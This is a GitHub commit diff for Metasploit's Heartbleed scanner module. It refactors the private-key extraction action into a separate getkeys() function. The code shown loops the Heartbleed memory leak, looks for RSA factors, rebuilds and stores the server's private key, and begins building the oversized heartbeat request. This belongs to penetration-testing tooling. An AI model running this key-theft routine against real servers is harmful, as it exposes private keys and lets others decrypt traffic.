Skip to content

Commit 578002e

Browse files
committed
KEYS action gets it's own function
1 parent 9f30976 commit 578002e

File tree

1 file changed

+44
-39
lines changed

1 file changed

+44
-39
lines changed

modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

Lines changed: 44 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -260,45 +260,7 @@ def run_host(ip)
260260
when 'DUMP'
261261
scan(bleed) # Scan & Dump are similar, scan() records results
262262
when 'KEYS'
263-
unless datastore['TLS_CALLBACKS'] == 'None'
264-
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
265-
return
266-
end
267-
print_status("#{peer} - Scanning for private keys")
268-
count = 0
269-
270-
print_status("#{peer} - Getting public key constants...")
271-
n, e = get_ne
272-
vprint_status("#{peer} - n: #{n}")
273-
vprint_status("#{peer} - e: #{e}")
274-
print_status("#{peer} - #{Time.now.getutc} - Starting.")
275-
276-
datastore['MAX_KEYTRIES'].times {
277-
# Loop up to MAX_KEYTRIES times, looking for keys
278-
if count % datastore['STATUS_EVERY'] == 0
279-
print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...")
280-
end
281-
282-
p, q = get_factors(bleed, n) # Try to find factors in mem
283-
unless p.nil? || q.nil?
284-
key = key_from_pqe(p, q, e)
285-
print_good("#{peer} - #{Time.now.getutc} - Got the private key")
286-
287-
print_status(key.export)
288-
path = store_loot(
289-
"openssl.heartbleed.server",
290-
"text/plain",
291-
rhost,
292-
key.export,
293-
nil,
294-
"OpenSSL Heartbleed Private Key"
295-
)
296-
print_status("#{peer} - Private key stored in #{path}")
297-
return
298-
end
299-
count += 1
300-
}
301-
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.")
263+
getkeys()
302264
else
303265
#Shouldn't get here, since Action is Enum
304266
print_error("Unknown Action: #{action.name}")
@@ -384,6 +346,49 @@ def scan(heartbeat_data)
384346
end
385347
end
386348

349+
def getkeys()
350+
unless datastore['TLS_CALLBACKS'] == 'None'
351+
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
352+
return
353+
end
354+
355+
print_status("#{peer} - Scanning for private keys")
356+
count = 0
357+
358+
print_status("#{peer} - Getting public key constants...")
359+
n, e = get_ne
360+
vprint_status("#{peer} - n: #{n}")
361+
vprint_status("#{peer} - e: #{e}")
362+
print_status("#{peer} - #{Time.now.getutc} - Starting.")
363+
364+
datastore['MAX_KEYTRIES'].times {
365+
# Loop up to MAX_KEYTRIES times, looking for keys
366+
if count % datastore['STATUS_EVERY'] == 0
367+
print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...")
368+
end
369+
370+
p, q = get_factors(bleed, n) # Try to find factors in mem
371+
unless p.nil? || q.nil?
372+
key = key_from_pqe(p, q, e)
373+
print_good("#{peer} - #{Time.now.getutc} - Got the private key")
374+
375+
print_status(key.export)
376+
path = store_loot(
377+
"openssl.heartbleed.server",
378+
"text/plain",
379+
rhost,
380+
key.export,
381+
nil,
382+
"OpenSSL Heartbleed Private Key"
383+
)
384+
print_status("#{peer} - Private key stored in #{path}")
385+
return
386+
end
387+
count += 1
388+
}
389+
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.")
390+
end
391+
387392
def heartbeat(length)
388393
payload = "\x01" # Heartbeat Message Type: Request (1)
389394
payload << [length].pack("n") # Payload Length: 65535

0 commit comments

Comments
 (0)